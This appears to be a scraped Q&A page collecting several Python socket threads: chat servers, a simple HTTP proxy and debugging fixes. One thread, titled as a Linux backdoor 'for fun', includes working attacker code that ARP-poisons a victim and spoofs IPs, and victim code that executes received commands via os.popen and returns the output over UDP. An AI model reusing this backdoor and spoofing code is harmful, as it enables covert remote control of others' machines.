Thread, Network and Python - python

I'm trying to create a little chat program that connect two (or more) computers, so I tried this :
import socket
tcpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
tcpSocket.bind(("0.0.0.0",8000))
tcpSocket.listen(3)
print "Waiting for a Client ... "
(client, (ip,sock)) = tcpSocket.accept()
print "Received connection from : ",ip
print "Starting ECHO output ..."
data = 'dump'
client.send("Enter you're name : ")
name=client.recv(1024)
name=name.strip()
while len(data) :
send_data = raw_input("Me : ")
try :
client.send("Server : "+send_data)
client.send("\n"+name+" : ")
except :
print "Connection lost !"
break
data = client.recv(2048)
data = data.strip()
print name+" : "+data
print "Closing connection ..."
client.close()
print "Shutting down server ..."
tcpSocket.close()
And it worked well, the only problem is that I can't connect more than one computer to the server! I tried with the thread module by using this fonction:
import socket
import thread
def thread_send() :
print "Received connection from : ",ip
print "Starting ECHO output ..."
data = 'dump'
client.send("Enter you're name : ")
name=client.recv(1024)
name=name.strip()
while len(data) :
send_data = raw_input("Me : ")
try :
client.send("Server : "+send_data)
client.send("\n"+name+" : ")
except :
print "Connection lost !"
break
data = client.recv(2048)
data = data.strip()
print name+" : "+data
tcpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
tcpSocket.bind(("0.0.0.0",8000))
tcpSocket.listen(5)
print "Waiting for a Client ... "
(client, (ip,sock)) = tcpSocket.accept()
for i in range(5) :
thread.start_new_thread(thread_send,())
while True :
pass
print "Closing connection ..."
client.close()
print "Shutting down server ..."
tcpSocket.close()
But it doesn't work :/

Below is an example of how you do it. Sorry, I have not tested this code nor ran it to check for any kind of syntax issue, this is just for giving an idea.
def thread_send(cli_sock):
data = 'dump'
cli_sock.send("Enter you're name : ")
name=cli_sock.recv(1024)
if len(name) == 0: ## If client disconnected or terminated
return
name=name.strip()
while len(data) :
send_data = raw_input("Me : ")
try :
cli_sock.send("Server : "+send_data)
cli_sock.send("\n"+name+" : ")
except :
print "Connection lost !"
break
data = client.recv(2048)
data = data.strip()
print name+" : "+data
serv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serv_sock.bind(('localhost', 8080))
serv_sock.listen(1)
print "After listen...waiting for accept\n"
try:
while True:
client_sock, address = serv_sock.accept()
print "Connection accepted\n"
thread.start_new_thread(thread_send, (client_sock))
finally:
serv_sock.close()

Related

Python socket server read multi command of client [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 1 year ago.
Improve this question
I created a socket server to read the commands from a socket client. In client side, I send ABC and then DEF, in server side, each time I received ABC or DEF from client, the server will send back to client OK.
Server
import socket
import sys
host = socket.gethostname()
port = 12345
server_tcp = socket.socket()
server_tcp.bind((host, port))
server_tcp.listen(5)
while True:
c, addr = server_tcp.accept()
data = c.recv(1024)
print ('data received: %s') % data
if 'ABC' == data:
print ('sending back ok to the client')
texte = 'OK';
n=c.send(texte)
else:
print ('I did not get the right command ABC')
break
data = c.recv(1024)
print ('data received: %s') % data
if 'DEF' == data:
print ('sending back ok to the client')
texte = 'OK';
n=c.send(texte)
else:
print ('I did not get the right command DEF')
break
c.close()
Socket client:
import socket
import sys
host = socket.gethostname()
port = 12345
client_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
rc = client_tcp.connect((host, port))
except:
print('Server not found')
texte = 'ABC';
n=client_tcp.send(texte)
data=client_tcp.recv(1024);
print (data)
if 'OK' == data:
print('good')
else:
print('bad')
texte = 'DEF';
n=client_tcp.send(texte)
data=client_tcp.recv(1024);
print (data)
if 'OK' == data:
print('good')
else:
print('bad')
client_tcp.close() # Close the socket when done
When I set the command in client with order ABC - DEF I receive OK - OK in server. But with DEF - ABC, I just only received only one OK.
Best regards
I made some changes to your code to test it. The problem is that you are not sending the response that the client is waiting for. It happens when the wrong command arrives.
if your client is waiting for information YOUR SERVER MUST SENDS INFORMATION!... and it's the same for the other side (Server).
In the end, your problem is an issue of protocol. You must design what kind of message will be changed between different parts and be sure that those messages are sent and received
Server:
import socket
import sys
host = socket.gethostname()
port = 9966
server_tcp = socket.socket()
server_tcp.bind((host, port))
server_tcp.listen(5)
n = 0
while n < 2:
c, addr = server_tcp.accept()
inData = c.recv(1024)
data = inData.decode()
texte = '';
print ('data received: {0}'.format(data))
if 'ABC' == data:
print ('sending back ok to the client')
texte = 'OK';
else:
print ('I did not get the right command ABC')
texte = 'FAIL';
#break
print("Respose: {0}".format(texte))
#ALWASY SEND THE RESPONSE IF YOUR CLIENT WAITS FOR IT
c.sendall(texte.encode(encoding = 'UTF-8'))
inData = c.recv(1024)
data = inData.decode()
print ('data received: {0}'.format(data))
if 'DEF' == data:
print ('sending back ok to the client')
texte = 'OK';
#n=c.send(texte.encode(encoding = 'UTF-8'))
else:
print ('I did not get the right command DEF')
texte = 'FAIL';
#break
print("Respose: {0}".format(texte))
#ALWASY SEND THE RESPONSE IF YOUR CLIENT WAITS FOR IT
c.sendall(texte.encode(encoding = 'UTF-8'))
print ('Closing Socket Client')
c.close()
n += 1
Client:
import socket
import sys
host = socket.gethostname()
port = 9966
client_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
rc = client_tcp.connect((host, port))
except:
print('Server not found')
#texte = "ABC"
texte = "DEF"
n=client_tcp.send(texte.encode(encoding = 'UTF-8'))
inData=client_tcp.recv(1024)
data = inData.decode()
print ("[" + data + "]")
if 'OK' == data:
print('good')
else:
print('bad')
#texte = "DEF"
texte = "ABC"
n=client_tcp.send(texte.encode(encoding = 'UTF-8'))
inData=client_tcp.recv(1024)
data = inData.decode()
print ("[" + data + "]")
if 'OK' == data:
print('good')
else:
print('bad')
client_tcp.close()
Client's output Order ABC DEF:
[OK]
good
[OK]
good
Client's output Order DEF ABC:
[FAIL]
bad
[FAIL]
bad

How to handle rm and cp commands in a reverse shell

i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue

Python proxy HTTP very slow

I'm trying to create a HTTP proxy with Python.
Although, when I configure my browser with this proxy and try to connect to a http website, the loading is very slow.
This is my proxy code :
#!/usr/bin/env python
import socket
import thread
import sys
def get_line(field, data) :
lines = data.split("\n")
for line in lines :
if line.split(":")[0] == field :
return line
return ""
def get_host(data) :
host_line = get_line("Host", data);
port = 80
if len(host_line.split(" ")) > 1 :
host = host_line.split(" ")[1]
arr = host.split(":")
if len(arr) > 1 :
host = arr[0]
port = arr[1]
else :
host = host[:-1]
else :
host = ""
port = 0
return (host, port)
def http_proxy(conn, data, client_addr) :
(host, port) = get_host(data)
if host != "" :
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((socket.gethostbyname(host), int(port)))
s.send(data)
while 1 :
reply = s.recv(8192)
test = reply
if (len(reply) > 0) :
conn.send(reply)
print "Send %d bytes from %s" % (len(reply), host)
else :
conn.close()
s.close()
break
except socket.error, (value, message) :
s.close()
conn.close()
print value, message
sys.exit(1)
def main():
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 8080))
s.listen(100)
except socket.error, (value, message) :
if s :
s.close()
print "Socket error : ", message
while 1 :
conn, client_addr = s.accept()
data = conn.recv(8192)
thread.start_new_thread(http_proxy, (conn, data, client_addr))
s.close()
if __name__ == "__main__" :
main()
I think these delays are caused by the fact that some HTTP requests are not taken into account by my proxy, so the browser waits a certain time before sending them back.
If that's the problem, I don't understand why that happens.

I am getting a weird error with an OSError ID: WinError 10038

I am trying to code a server with the following code. It is threaded and all I need help with is this error.
Unhandled exception in thread started by <function threaded_client at 0x0000000003302158>
line 28, in threaded_client
data = conn.recv(2048)
OSError: [WinError 10038] An operation was attempted on something that is not a socket
This error I cannot solve and have tried to solve. I would really like to know how to fix it.
import socket
import sys
from _thread import *
import time
host = ''
port = 5555
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((host,port))
except socket.error as e:
print(str(e))
s.listen(5)
print("Waiting for a Connection...")
def threaded_client(conn):
conn.send(str.encode("Welcome, please write to the server.\r\n"))
userinput = ""
while True:
data = conn.recv(2048)
data = data.decode('utf-8')
if not data:
break
#data = data.decode('utf-8')
#Gather up the Input
if data == '\r\n':
userinput += data
#Do something with it
else:
reply = 'Server output: ' + userinput
conn.sendall(str.encode(reply))
userinput = ""
conn.close()
while True:
conn, addr = s.accept()
print("connected to: " +addr[0] + ': ' + str(addr[1]))
start_new_thread(threaded_client, (conn,))
Now I am having an issue with how the server interacts with the client. Image of my CMD window open bellow. Please provide code to fix.
For windows 8, please.
Check this part.
else:
reply = 'Server output: ' + userinput
conn.sendall(str.encode(reply))
userinput = ""
conn.close() #<--- here you are closing the connection
This should be outside the loop. Something like this.
while True:
data = conn.recv(2048)
data = data.decode('utf-8')
if not data:
break
#data = data.decode('utf-8')
#Gather up the Input
if data == '\r\n':
userinput += data
#Do something with it
else:
reply = 'Server output: ' + userinput
conn.sendall(str.encode(reply))
userinput = ""
conn.close() #<--- Notice the indent

socket is not listening for multiple request

Here is the code for server -
import socket, select,re
def getSocket( idd):
return CONNECTION_LIST[idd]
def broadcast_data (sock, message):
for socket in CONNECTION_LIST:
if socket != server_socket and socket != sock :
try :
socket.send(message)
except :
socket.close()
CONNECTION_LIST.remove(socket)
def single_client (sock , message , idd):
socket = getSocket ( idd )
if socket :
socket.send(message)
else:
print "chudap"
if __name__ == "__main__":
CONNECTION_LIST = []
RECV_BUFFER = 4096
PORT = 5000
PORTC = 2225
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(("0.0.0.0", PORT))
server_socket.listen(10)
listen = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listen.bind(("0.0.0.0" , PORTC))
#listen.listen(10)
CONNECTION_LIST.append(server_socket)
CONNECTION_LIST.append(listen)
print "Chat server started on port " + str(PORT)
idd = 1
while 1:
# Get the list sockets which are ready to be read through select
read_sockets,write_sockets,error_sockets = select.select(CONNECTION_LIST,[],[])
for sock in read_sockets:
if sock == server_socket:
sockfd, addr = server_socket.accept()
CONNECTION_LIST.append(sockfd)
#name = sockfd.recv(RECV_BUFFER)
print "connected from ip %s, id assigned is %d" % (addr[0] , idd)
broadcast_data(sockfd, "client with IP %s has entered with id = %d\n" % (addr[0] , idd))
idd += 1
elif sock == listen:
print "debugging"
data,addr = listen.recvfrom(RECV_BUFFER)
print "Received server probe request from [%s:%s]"%addr
listen.sendto("iam" , addr)#(addr[0] , 2624))
listen.close()
CONNECTION_LIST.remove(listen)
listen = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listen.bind(("0.0.0.0" , PORTC))
CONNECTION_LIST.append(listen)
else:
try:
data = sock.recv(RECV_BUFFER)
if re.findall(r'.*/msg\d+' , data):
#print "got single client message request" + data
name = "private message from " + re.findall('([^:]+): /msg(\d+)([^"]+)' , data)[0][0] + ": "
#print name
eid = int(re.findall('([^:]+): /msg(\d+)([^"]+)' , data)[0][1])
#print eid
data = re.findall('([^:]+): /msg(\d+)([^"]+)' , data)[0][2]
#print data
data = name + data
#print "single client message sent with id = %d" %eid
single_client( sock , data , int(eid))
elif data:
broadcast_data(sock, data)
except:
broadcast_data(sock, "Client (%s, %s) is offline" % addr)
print "Client (%s, %s) is offline" % addr
sock.close()
CONNECTION_LIST.remove(sock)
continue
server_socket.close()
Here is the code for client -
import socket, select, string, sys
def prompt() :
sys.stdout.write('<You>: ')
sys.stdout.flush()
def exit(sock):
print "\n Thank you for using chat application\nBye"
sock.close()
sys.exit()
def printUsage():
print "1. By default your message will be sent to all clients sitting on the chat server"
print "2. You can send a private message to a person by starting your message as \"/msg{id}{Your message}\" for example /msg2Hi will send \"hi\" to client with id 2"
print "3. For quitting simply type \"/q\" or \"/quit\""
prompt()
PORTS = 2225
PORTC = 2624
if __name__ == "__main__":
broad = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
broad.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
broad.bind(( '0.0.0.0' , 2624) )
broad.sendto(b'whoisserver', 0, ("255.255.255.255", PORTS))
broad.settimeout(10)
print 15*"-" + "WELCOME TO CHATVILLE" + 15*"-" + "\nFinding the server"
try:
data , addr = broad.recvfrom(10)
except:
print "Can't find server ! Please ensure that server is up"
broad.close()
sys.exit()
broad.close()
if data <> "iam":
print "Can't find a valid server !"
sys.exit()
host = addr[0]
port = 5000
print addr
# host = sys.argv[1]
# port = int(sys.argv[2])
# print host,port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
name = raw_input("Please Enter your name: ")
try :
s.connect((host, port))
s.send(name)
except :
print 'Unable to connect'
sys.exit()
print 'Connected to remote host. Enjoy...............................'
name = "<" + name + ">" + ": "
print " - type /h to see usage instructions any time :) - "
prompt()
while 1:
socket_list = [sys.stdin, s]
read_sockets, write_sockets, error_sockets = select.select(socket_list , [], [])
for sock in read_sockets:
if sock == s:
data = sock.recv(4096)
if not data :
print '\nDisconnected from chat server'
sys.exit()
else :
print ""
sys.stdout.write(data)
prompt()
else :
msg = sys.stdin.readline()
if str.startswith(msg, "/h") or str.startswith(msg,"/help"):
printUsage()
elif str.startswith(msg, "/quit") or str.startswith(msg,"/q"):
exit(s)
else:
msg = name + msg
s.send(msg)
prompt()
Main problem is that only one client is able to connect as soon as the first client connects are to server no other client is able to discover the server.
I tried by looking at the client's code by tcpdump and I can see the packet going at port number 2225, but the socket listen is not responding at all after the first connection.
PS - earlier I was not making instance of listen socket again and again but I tried this also and it didn't work out.
In the sever broadcast_data() does not exclude the UDP socket (listen) from the sockets to write to, and so it calls send() on that socket. This fails with exception
socket.error: [Errno 89] Destination address required
because no address is supplied (and can't be with socket.send()). The exception handler then closes the UDP socket and no further messages from new clients can be received. That's why additional clients can not connect to the server.
This is a perfect example of why it is not a good idea to use a bare except, i.e. an except statement that handles all exceptions. In this case the handler closes the UDP socket without even logging the fact. There are other instances of bare except statements in your code. I suggest that you handle specific exceptions to avoid this sort of bug. You can fix it by adding the UDP socket to the list of sockets to ignore:
def broadcast_data(sock, message):
for socket in CONNECTION_LIST:
if socket not in (server_socket, sock, listen):
try :
socket.send(message)
except socket.error as exc:
print '!!! An error occurred while writing to client. !!!'
print exc
socket.close()
CONNECTION_LIST.remove(socket)
Now no attempt will be made to send messages to the UDP listen socket, and the socket won't be closed due to error.
P.S. the code in your main loop that closes and reopens the listen socket is not necessary.

Categories

Resources